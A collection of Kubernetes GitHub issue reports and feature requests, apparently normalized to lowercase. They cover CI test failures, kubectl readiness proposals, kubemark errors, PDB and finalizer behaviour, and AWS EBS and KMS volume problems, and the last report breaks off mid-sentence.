i'll work on incrementally moving towards that organization\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r pull-kubernetes-integration\r \r   which test s  are failing  :\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=testvolumebinding\r \r the flake rate is much better than before, but there are still some occasional flakes.\r \r <!-- do not edit below this line -->\r 

what would you like to be added  :\r \r when  test/e2e/storage/testsuites  was created, it reused some existing tests and utility code in test/e2e/framework and even exposed \ legacy\  structs like  framework.volumetestconfig  in the  testsuites  api. pr  70862 replaces the public test configuration with a simpler struct, but did not get rid of the the internal  framework.volumetestconfig  entirely.\r \r further work is needed to remove or simplify  framework.volumetestconfig  and the code that depends on it. if possible, the test code should be moved out of the  framework  into the  testsuites .\r \r   why is this needed  :\r \r simpler code overall.\r \r 

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r ci-kubernetes-e2e-gce-scale-performance\r \r   which test s  are failing  :\r    testing/density/config.yaml \r    testing/load/config.yaml \r    clusterloaderv2 \r \r   since when has it been failing  :\r due to  previous issues with prow  https://github.com/kubernetes/test-infra/blob/master/docs/post-mortems/2019-05-30.md  we cannot at this time determine  we are working on resolving this issue in testgrid  the exact moment these tests started failing but they were passing on 5/30 and failed on 6/2.\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-release-master-informing gce-master-scale-performance\r \r   reason for failure  :\r there failures seem to be related to pods not reaching the desired state within the timeout period.\r    \r w0604 03:17:19.141  e0604 03:17:19.140882 12669 wait_for_controlled_pods.go:497  waitforcontrolledpodsrunning: test-jfyird-5/saturation-rc-0 timed out\r    \r there were also issues with reaching prow:\r    \r i0604 03:41:37.997  error dialing prow@35.227.71.123:22: 'dial tcp 35.227.71.123:22: connect: connection timed out', retrying\r    \r and \r    \r w0604 03:43:44.069  e0604 03:43:44.069271 12669 profile.go:101  failed to gather profile for simple.profileconfig{componentname:\ kube-scheduler\ , provider:\ gce\ , host:\ 35.227.71.123\ , kind:\ heap\ }: failed to execute curl command on master through ssh: error getting ssh client to prow@35.227.71.123:22: 'dial tcp 35.227.71.123:22: connect: connection timed out'\r    \r \r it was mentioned in a previous issue,  76670, that  77127 may be a contributor to failures in this job.\r \r /cc @kubernetes/sig-scalability-test-failures \r  / /milestone v1.15\r \r /cc @jimangel  @smourapina @rarchk @alenkacz\r /cc @wojtek-t

spawned from  1325   it should be easy for users do two things: - create new resources - determine when they are \ ready\   readiness   620  is a complex topic, and readiness can mean different things in different contexts.  the kubernetes client cli and client library  see  pkg/client/conditions.go   should provide tools for common readiness conditions and enable developers and administrators to easily script more complex readiness.  this issue _only_ covers client side readiness - server side readiness should be handled elsewhere.  readiness must have an explicit upper bound  the system may never converge  - probably manifested as a maximum timeout.  certain errors may be transient  network, server  and some fatal  resource deleted? .  it should be possible for end users to understand the ways that readiness can fail and work through those conditions.  most resources are likely to have an implicit \ ready\  state: - pods - when the state is \ running\ , \ succeeded\ , or \ failed\ , depending on the restart policy - replicationcontrollers - when there are enough pods in running state to satisfy the label query - services - when at least one pod is running and reachable via the service?  however, readiness can vary in infinitely complex ways - services - user must wait for 2 pods to be running for ha, or pods must be running in x zones - two services must be running and serving requests  web frontend and database tier  and the backend database must have its schema created and at the latest version  it should be possible for users to define their own client ready conditions via scripting  potentially outside of kubectl , as long as the tools kubectl provide a common layer for behavior.  possible cli examples:      $ kubectl create -c foo.json --wait $ kubectl create -c foo.json --wait=1m $ kubectl get pod my-pod --wait --wait-for=\ pod-running\  $ kubectl get pod my-pod --wait --wait-for --format-template='{{ if .status.condition == \ running\  }}1{{ else }}0{{ end }}'      things i'd like to avoid end users doing: - bash  for | grep  loops on output as much as possible - implementing bash timeout logic - describing common yet complex conditions  replication controller at desired state  in template logic

support something like  kubectl proxy deployment/nginx  to have the proxy go directly to that resource instead of having to supply it to the browser

@mml suggested maybe we could add a flag to nodecontroller that disables all evictions, so if it freaks out and starts doing a lot of unwanted evictions due to a bug, an operator could restart it with the flag enabled to at least halt the damage.  i guess the benefit of this over just killing nodecontroller and making sure it doesn't restart, is that the other things nc does would be preserved.

kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : bare metal\r -   os    e.g. from /etc/os-release : ubuntu precise  12.04.4 lts \r -   kernel    e.g.  uname -a  : 3.13.0-55-generic\r -   install tools  : n/a\r -   others  : n/a\r \r \r   what happened  :\r \r during an otherwise-normal rollingupdate for a replication controller, we see this error in the logs:\r \r    \r e0307 21:43:51.235958    3650 docker_manager.go:373  networkplugin cni failed on the status hook for pod 'foo-r3rg5' - unexpected command output nsenter: cannot open /proc/5875/ns/net: no such file or directory\  with error: exit status 1\r    \r \r   what you expected to happen  :\r \r expected that successful rollingupdate wouldn't generate error-level logs without an error-level problem -- trying to determine what the error-level problem is.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r during our prod upgrade of various services, this occurred during 3 out of 70 rollingupdates.\r \r   anything else we need to know  :\r \r perhaps this is the same general issue as  25281? but i couldn't find any references to the \ unexpected command output nsenter\  variation seen above, thus filing separately.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r yes\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r keywords: kubemark, error in ./hack/ginkgo-e2e.sh:117\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-dirty\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ dirty\ , builddate:\ 2017-05-02t14:51:27z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-dirty\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ dirty\ , builddate:\ 2017-05-02t14:51:27z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  : 1 linux/amd64 master vm \r -   cloud provider or hardware configuration  : memory: 4gb, cpu: 4 cores, disk: 40gb\r -   os    e.g. from /etc/os-release : centos 7.2\r -   kernel    e.g.  uname -a  : 3.10.0\r -   install tools  : install the k8s by building the source codes\r \r   what happened  :\r i want to use kubemark to test k8s scheduler's performance, but when i used the command:\r    \r go run hack/e2e.go -v -test  --test_args=\ --host=http://${master_ip}:8080 --ginkgo.focus=\\ feature:performance\\ \  >>log.txt\r    \r there was an error... here is the message: \r    \r 2017/05/03 19:30:49 e2e.go:76: calling kubetest -v -test --test_args=--host=http://192.168.3.89:8080 --ginkgo.focus=\\ feature:performance\\ ...\r 2017/05/03 19:30:49 util.go:129: running: ./cluster/kubectl.sh version --match-server-version=false\r 2017/05/03 19:30:49 util.go:131: step './cluster/kubectl.sh version --match-server-version=false' finished in 169.142999ms\r 2017/05/03 19:30:49 util.go:129: running: ./hack/e2e-internal/e2e-status.sh\r local doesn't need special preparations for e2e tests\r 2017/05/03 19:30:49 util.go:131: step './hack/e2e-internal/e2e-status.sh' finished in 171.348895ms\r 2017/05/03 19:30:49 util.go:129: running: ./hack/ginkgo-e2e.sh --host=http://192.168.3.89:8080 --ginkgo.focus=\\ feature:performance\\ \r local doesn't need special preparations for e2e tests\r !!! error in ./hack/ginkgo-e2e.sh:117\r   error in ./hack/ginkgo-e2e.sh:117. '\ ${ginkgo}\  \ ${ginkgo_args @ :+${ginkgo_args @ }}\  \ ${e2e_test}\  -- \ ${auth_config @ :+${auth_config @ }}\  --ginkgo.flakeattempts=\ ${flake_attempts}\  --host=\ ${kube_master_url}\  --provider=\ ${kubernetes_provider}\  --gce-project=\ ${project:-}\  --gce-zone=\ ${zone:-}\  --gke-cluster=\ ${cluster_name:-}\  --kube-master=\ ${kube_master:-}\  --cluster-tag=\ ${cluster_id:-}\  --repo-root=\ ${kube_root}\  --node-instance-group=\ ${node_instance_group:-}\  --prefix=\ ${kube_gce_instance_prefix:-e2e}\  --network=\ ${kube_gce_network:-${kube_gke_network:-e2e}}\  --federated-kube-context=\ ${federation_kube_context:-e2e-federation}\  ${kube_container_runtime:+\ --container-runtime=${kube_container_runtime}\ } ${master_os_distribution:+\ --master-os-distro=${master_os_distribution}\ } ${node_os_distribution:+\ --node-os-distro=${node_os_distribution}\ } ${num_nodes:+\ --num-nodes=${num_nodes}\ } ${e2e_clean_start:+\ --clean-start=true\ } ${e2e_min_startup_pods:+\ --minstartuppods=${e2e_min_startup_pods}\ } ${e2e_report_dir:+\ --report-dir=${e2e_report_dir}\ } ${e2e_report_prefix:+\ --report-prefix=${e2e_report_prefix}\ } \ ${@:-}\ ' exited with status 1\r call stack:\r   1: ./hack/ginkgo-e2e.sh:117 main ... \r exiting with status 1\r 2017/05/03 19:35:10 util.go:131: step './hack/ginkgo-e2e.sh --host=http://192.168.3.89:8080 --ginkgo.focus=\\ feature:performance\\ ' finished in 4m20.793094077s\r 2017/05/03 19:35:10 main.go:193: something went wrong: encountered 1 errors:  error during ./hack/ginkgo-e2e.sh --host=http://192.168.3.89:8080 --ginkgo.focus=\\ feature:performance\\ : exit status 1 \r 2017/05/03 19:35:10 e2e.go:78: err: exit status 1\r exit status 1\r    \r and here is the log file:\r    \r   /root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:188\r ^  90m------------------------------^  0m\r may  3 22:22:47.074: info: running aftersuite actions on node 1\r \r \r ^  91m^  1msummarizing 2 failures:^  0m\r \r ^  91m^  1m fail  ^  0m^  90m k8s.io  load capacity ^  0m^  91m^  1m beforeeach   feature:performance  should be able to handle 30 pods per node { replicationcontroller} with 0 secrets and 0 daemons ^  0m\r ^  37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:188^  0m\r \r ^  91m^  1m fail  ^  0m^  90m k8s.io  density ^  0m^  91m^  1m beforeeach   feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets and 0 daemons ^  0m\r ^  37m/root/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:188^  0m\r \r ^  1m^  91mran 2 of 588 specs in 260.196 seconds^  0m\r ^  1m^  91mfail!^  0m -- ^  32m^  1m0 passed^  0m | ^  91m^  1m2 failed^  0m | ^  33m^  1m0 pending^  0m | ^  36m^  1m586 skipped^  0m --- fail: teste2e  260.23s \r fail\r \r ginkgo ran 1 suite in 4m20.719641311s\r test suite failed\r    \r and the kube-apiserver's error log seemed to show nothing about the error. \r \r   what you expected to happen  :\r the kubemark works well on my machine...\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. get k8s source code\r 2. use the commands/scripts: \r    \r cd $gopath/src/k8s.io/kubernetes\r go get -u github.com/jteeuwen/go-bindata/...\r ./hack/generate-bindata.sh\r make what='test/e2e/e2e.test'\r make ginkgo\r export kubectl_path=/usr/bin/kubectl\r export kubernetes_provider=local\r kubectl config view -o yaml >> /root/.kube/config\r go run hack/e2e.go -v -test  --test_args=\ --host=http://${master_ip}:8080 --ginkgo.focus=\\ feature:performance\\ \  >>log.txt\r    \r \r   anything else we need to know  :\r is there an official document that can help us to build the kubemark environment in detail?\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r   what happened  :\r run 'kubeadm init --help' and there is no option to configure the bindaddress that kube-proxy should use  nor for any other kube-proxy configuration .\r \r   what you expected to happen  :\r i'd like to add a kubeadm configuration for directing kubeadm to create a kube-proxy config file that optionally contains a setting for kube-proxy's bindaddress.   this kube-proxy config file setting is equivalant to the deprecated --bind-address command line setting for kube-proxy.  the reasons for adding this config knob:\r - for ipv6-only operation: setting the kube-proxy bindaddress to any ipv6 value  e.g. ::0, which means bind on all interfaces  can be used to indicate to kube-proxy that it should use ip6tables for implementing kubernetes services  rather than iptables .\r - in some cases, a more restrictive kube-proxy bindaddress than the default 0.0.0.0 might be required.\r - adding bindaddress config knob to kubeadm will pave the way for other kube-proxy configurations to be set via kubeadm.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run 'kubeadm init --help'.\r \r   anything else we need to know?  :\r this configuration knob will allow 'kubeadm init ...' to set up kube-proxy for ipv6-only operation  and dual-stack operation is a few months away from now .\r \r   environment  :\r - kubernetes version  use  kubectl version  : latest master\r - cloud provider or hardware configuration  : centos 7 virtualbox vms on a ubuntu 16.04.1 host\r - os  e.g. from /etc/os-release : ubuntu 16.04.1 host, centos 6 guests\r - kernel  e.g.  uname -a  : 4.4.0-78-generic  99-ubuntu x86_64 gnu/linux\r - install tools:\r - others:\r

when using ip aliases on gce, use a secondary range rather than subnetwork to reserve cluster ips.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r feature\r  \r \r   what happened  :\r pdb doc doesn't explicitly explain if it can be applied to daemonset. but i think there is a use case for it and i cannot get it done by pdb.\r \r in my use case, i have 3 ceph mon daemonsets running using node selectors. i set pdb for the ceph mon daemonsets. then i removed node labels. all daemonsets were deleted:\r \r before deleting the node labels:\r    console\r   kubectl get poddisruptionbudgets -n ceph\r name      min-available   allowed-disruptions   age\r mon-pdb   1               2                     24s\r    \r after removing the node labels:\r    console\r   kubectl get poddisruptionbudgets -n ceph -o yaml\r apiversion: v1\r items:\r - apiversion: policy/v1beta1\r   kind: poddisruptionbudget\r   metadata:\r     creationtimestamp: 2017-10-25t12:35:03z\r     generation: 1\r     name: mon-pdb\r     namespace: ceph\r     resourceversion: \ 6575264\ \r     selflink: /apis/policy/v1beta1/namespaces/ceph/poddisruptionbudgets/mon-pdb\r     uid: ecaaa9c8-b980-11e7-ae60-00259003b6e8\r   spec:\r     minavailable: 1\r     selector:\r       matchlabels:\r         application: ceph\r         component: mon\r   status:\r     currenthealthy: 0\r     desiredhealthy: 1\r     disruptedpods: null\r     disruptionsallowed: 0\r     expectedpods: 0\r     observedgeneration: 1\r    \r \r   what you expected to happen  :\r pdb policy should be respected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a 3 replica daemonset with node selector\r - create a pdb for daemonset\r - remove node label\r \r \r   anything else we need to know?  :\r @kubernetes/sig-apps-misc \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently, anyone can add or remove the   conformance   tag to any e2e test.  since this tag now represents the definition of kubernetes  see also https://github.com/cncf/k8s-conformance , we need to insert stricter review here.\r \r initially, the plan is for all changes to this set to be reviewed by sig-architecture, but this bug isn't about the review policy.  only about a mechanism for controlling the tag in the first place.\r \r /area conformance\r \r see also  53810

failure cluster  309f063888c9e4ba20d2  https://go.k8s.io/triage 309f063888c9e4ba20d2        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/resource_quota.go:715 expected error:     < errors.errorstring | 0xc4202646f0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/resource_quota.go:786           failure cluster statistics: 12 tests failed,    34 jobs failed,    172 builds failed. failure stats cover 1 day time range '6 dec 2017 02:42 utc' to '7 dec 2017 02:42 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  sig-scheduling  resourcequota should verify resourcequota with best effort scope. | 21 | |  sig-scheduling  resourcequota should verify resourcequota with terminating scopes. | 20 | |  sig-scheduling  resourcequota should create a resourcequota and capture the life of a persistent volume claim with a storage class.  sig-storage  | 19 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-ip-alias | 15 |  7 dec 2017 01:23 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ip-alias/10257  | | ci-kubernetes-e2e-gci-gce-etcd3 | 15 |  7 dec 2017 02:01 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-etcd3/18259  | | ci-kubernetes-e2e-gci-gce-proto | 14 |  7 dec 2017 01:47 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-proto/18737  |  /assign @mml @ncdc @derekwaynecarr  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | mml |  sig-scheduling  resourcequota should verify resourcequota with best effort scope. | | ncdc |  sig-scheduling  resourcequota should verify resourcequota with terminating scopes.;  sig-scheduling  resourcequota should create a resourcequota and capture the life of a secret. | | derekwaynecarr |  sig-scheduling  resourcequota should create a resourcequota and capture the life of a persistent volume claim with a storage class.  sig-storage  | | sig/api-machinery |  sig-scheduling  resourcequota should verify resourcequota with best effort scope.;  sig-scheduling  resourcequota should verify resourcequota with terminating scopes.;  sig-scheduling  resourcequota should create a resourcequota and capture the life of a persistent volume claim with a storage class.  sig-storage  | | sig/cli |  sig-cli  kubectl client  k8s.io  kubectl taint  serial  should update the taint on a node |  </details><br>   current status  https://go.k8s.io/triage 309f063888c9e4ba20d2

this is continuation of  48438 and  48936.\r \r   what happened  :\r when storageclass refers to a key that is not accessible to kubernetes  i.e. aws api returns accessdeniedexception , aws plugin still tries to provision a volume under assumption that while kubernetes can't access the key, the other components may access it and create the volume and attach it to a node later.\r \r related code is  here  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go l2205  -  checkencryptionkey  checks only for  notfoundexception . other errors are just logged and provisioning continues.\r \r problem is that when aws really can't access the key, it   will   provision some volume  ec2.createvolume returns success + valid aws ebs , but this aws ebs disappears after few seconds. therefore kubernetes does not know that something went wrong and creates a pv for the returned ebs. kubernetes later fails to run a pod that refers to such pv, because the pv does not exist.\r \r   what you expected to happen  :\r kubernetes must not create pv in this case and must report error during provisioning of such volume.\r \r ideas:\r \r   according to  aws documentation  https://docs.aws.amazon.com/kms/latest/developerguide/services-ebs.html , the only signal that aws produces is an event in amazon cloudwatch events that a key could not be used for encryption. kubernetes aws cloud provider is not subscribed to these events and does not get this notification. we would need new permission for controller-manager to get the events and some new code to filter them and report back to user.\r \r   kubernetes aws cloud provider could wait for x seconds and re-check that created volume still exists and did not disappear because of inaccessible key. what would be reliable value of x?\r \r   kubernetes volume plugin for aws could return both a warning \ i failed to check encryption key, created volume may not work\  that would be propagated to user   and   the suspicious volume at the same time, but the api between volume plugins and kubernetes allows only one - either error or volume. it could be extended, still the user experience would be suboptimal.\r \r   kubernetes could send an error to user during volume attach  !  that a volume does not exist, please check your kms key permissions. again, ux is quite bad here.\r \r  

what happened  :\r \r i created a namespace  foo  with  orphan  finalizer, and then tried to delete it:\r \r    console\r $ cat ns.yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: foo\r   finalizers:\r   - orphan\r $ kubectl create -f ns.yaml\r namespace/foo edited\r $ kubectl delete ns foo\r namespace \ foo\  deleted\r    \r \r the namespace can be deleted, and the  orphan  finalizer is removed by garbage collection controller:\r \r    \r ...\r i0401 19:09:56.510632   77981 graph_builder.go:578  graphbuilder process object: v1/namespace, namespace , name foo, uid c396b742-9be5-4d5b-b86a-4614853e9516, event type update\r i0401 19:09:56.510672   77981 graph_builder.go:540  add  v1/namespace, namespace: , name: foo, uid: c396b742-9be5-4d5b-b86a-4614853e9516  to the attempttoorphan\r i0401 19:09:56.510744   77981 garbagecollector.go:570  successfully updated all dependents of owner  v1/namespace, namespace: , name: foo, uid: c396b742-9be5-4d5b-b86a-4614853e9516 \r    \r \r   what you expected to happen  :\r \r since kubectl species  propagationpolicy: background , it is not an orphaning operation, the finalizer should be removed in namespace store.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r same as what i observed:\r \r 1. create a namespace.\r 1. add  orphan  finalizer.\r 1. run  kubectl delete .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r

what would you like to be added  : an e2e test to verify the pod scheduling and execution behavior on nodeaffinity type \ requiredduringschedulingignoredduringexecution\ \r \r   why is this needed  : the proposed test ensures that the scheduling and execution behavior of the pod on the nodes is verified for node affinity type.\r \r steps:\r 1. create a pod with the necessary label/value for node scheduling and provide node affinity type as \ requiredduringschedulingignoredduringexecution\ .\r ~~2. create nodes with no labels or labels which do not match the pod labels set in step-1.~~ 2. acquire nodes. note: node cannot be created but only be acquired\r 3. check if the pod is scheduled in any of the created nodes. the pod should not be scheduled.\r 4. now alter the node labels to include the labels necessary for the pod schedule  step-1 .\r 5. the pod should now be scheduled successfully on the updated node.\r 6. during execution, alter the node label with the scheduled pod again  either remove the label or change the label values .\r 7. the pod execution should continue unhindered as the changes to the node labels/values is to be ignored as the pod is already scheduled.

this is a follow up to https://github.com/kubernetes/kubernetes/pull/29077  the code in  volume/attachdetach/populator/desired_state_of_world_populator.go  is hard to follow. we can simplify it if we fetch the pod by uid from  podinformer .

for some reason today when i rolled out a new version to one of our deployments the pod got stuck in containercreating with this error events:      1h          1m         37        some-api-2275263275-01pq7              pod                                             warning   failedmount               {kubelet gke-cluster-1-default-pool-4399eaa3-os4v}      unable to mount volumes for pod \ some-api-2275263275-01pq7_default afc5ae68-5b5e-11e6-afbb-42010a800105 \ : timeout expired waiting for volumes to attach/mount for pod \ some-api-2275263275-01pq7\ /\ default\ . list of unattached/unmounted volumes= default-token-880jy  1h          1m         37        some-api-2275263275-01pq7              pod                                             warning   failedsync                {kubelet gke-cluster-1-default-pool-4399eaa3-os4v}      error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ some-api-2275263275-01pq7\ /\ default\ . list of unattached/unmounted volumes= default-token-880jy       i then attempted to scale the cluster and more than 75% of the previously running pods switched to containercreating and also got stuck there. this caused widespread failure in our system and i had to quickly create a new cluster.  we're using google cloud platform's container engine and the cluster version is 1.3.2.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : \r \r - no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : \r \r - ebs\r - ebs detach\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:35:03z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:30:23z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts\r -   kernel    e.g.  uname -a  : \r \r    \r linux kubecontroller-1 4.4.0-47-generic  68-ubuntu smp wed oct 26 19:39:52 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  : none\r -   others  : none\r \r   what happened  :\r \r i've seen this behavior in 1.4.6 and earlier.  when a pod with a  persistentvolumeclaim , in this case when using a  storageclass , is \ moved\  to another node  terminated on one node then run on the other , the persistent volume occasionally has trouble detaching to the old node. the move can be either from  kubectl apply -f <new_configuration.yml>  or in this particular example, when draining a node, with a command such as:\r \r    \r kubectl drain worker-3\r    \r \r this does sometimes work.  even when it works, there are plenty of errors with the ebs volume. the kube-controller will throw lots of errors, saying it can't detach.  such as:\r \r    \r dec 01 17:41:47 kubecontroller-1 kube-controller-manager 5662 : e1201 17:41:47.344806    5662 attacher.go:73  error attaching volume \ aws://us-east-1c/vol-802faf11\ : error attaching ebs volume \ vol-802faf11\  to instance \ i-ca043f59\ : volumeinuse: vol-802faf11 is already attached to an instance\r dec 01 17:41:47 kubecontroller-1 kube-controller-manager 5662 :         status code: 400, request id:\r    \r \r there will be other  nestedpendingoperations.go  operation errors.  i'm not sure if that's a symptom of a misconfiguration.  again, it appears to sometimes work. if/when it works, i'll see this in the kube-controller log:\r \r    \r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 : i1201 17:42:30.821032    5662 aws.go:1492  attachvolume volume=\ vol-802faf11\  instance=\ i-ca043f59\  request returned {\r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 :   attachtime: 2016-12-01 17:42:30.662 +0000 utc,\r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 :   device: \ /dev/xvdba\ ,\r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 :   instanceid: \ i-ca043f59\ ,\r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 :   state: \ attaching\ ,\r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 :   volumeid: \ vol-802faf11\ \r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 : }\r dec 01 17:42:30 kubecontroller-1 kube-controller-manager 5662 : i1201 17:42:30.920339    5662 aws.go:1366  waiting for volume \ vol-802faf11\  state: actual=attaching, desired=attached\r dec 01 17:42:41 kubecontroller-1 kube-controller-manager 5662 : i1201 17:42:41.019194    5662 aws.go:1265  releasing in-process attachment entry: ba -> volume vol-802faf11\r    \r \r but it will occasionally fail and it will never detach.  on the kubelet server, this log appears:\r \r    \r dec 01 19:38:55 worker-3 kubelet 1032 : i1201 19:38:55.432000    1032 reconciler.go:189  unmountvolume operation started for volume \ kubernetes.io/aws-ebs/aws://us-east-1c/vol-802faf11\   spec.name: \ ebstest-volume\   from pod \ fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336\   uid: \ fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336\  .\r dec 01 19:38:55 worker-3 kubelet 1032 : i1201 19:38:55.432070    1032 aws_ebs.go:398  error checking if mountpoint /var/lib/kubelet/pods/fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336/volumes/kubernetes.io~aws-ebs/pvc-bfd01b97-b7d2-11e6-8057-0e71c9ba25de: stat /var/lib/kubelet/pods/fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336/volumes/kubernetes.io~aws-ebs/pvc-bfd01b97-b7d2-11e6-8057-0e71c9ba25de: no such file or directory\r dec 01 19:38:55 worker-3 kubelet 1032 : e1201 19:38:55.432132    1032 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/aws-ebs/aws://us-east-1c/vol-802faf11\\\   \\\ fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336\\\  \  failed. no retries permitted until 2016-12-01 19:40:55.432095954 +0000 utc  durationbeforeretry 2m0s . error: unmountvolume.teardown failed for volume \ kubernetes.io/aws-ebs/aws://us-east-1c/vol-802faf11\   volume.spec.name: \ ebstest-volume\   pod \ fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336\   uid: \ fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336\   with: stat /var/lib/kubelet/pods/fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336/volumes/kubernetes.io~aws-ebs/pvc-bfd01b97-b7d2-11e6-8057-0e71c9ba25de: no such file or directory\r    \r \r and it will repeat.  if i try to look in the path specified above on the particular kubelet,  /var/lib/kubelet/pods/fff0ca70-b7ee-11e6-a0c7-0e82f0b9f336/volumes/kubernetes.io~aws-ebs/  exists, but the  pvc-   does not.\r \r on the kubelet i can actually see the 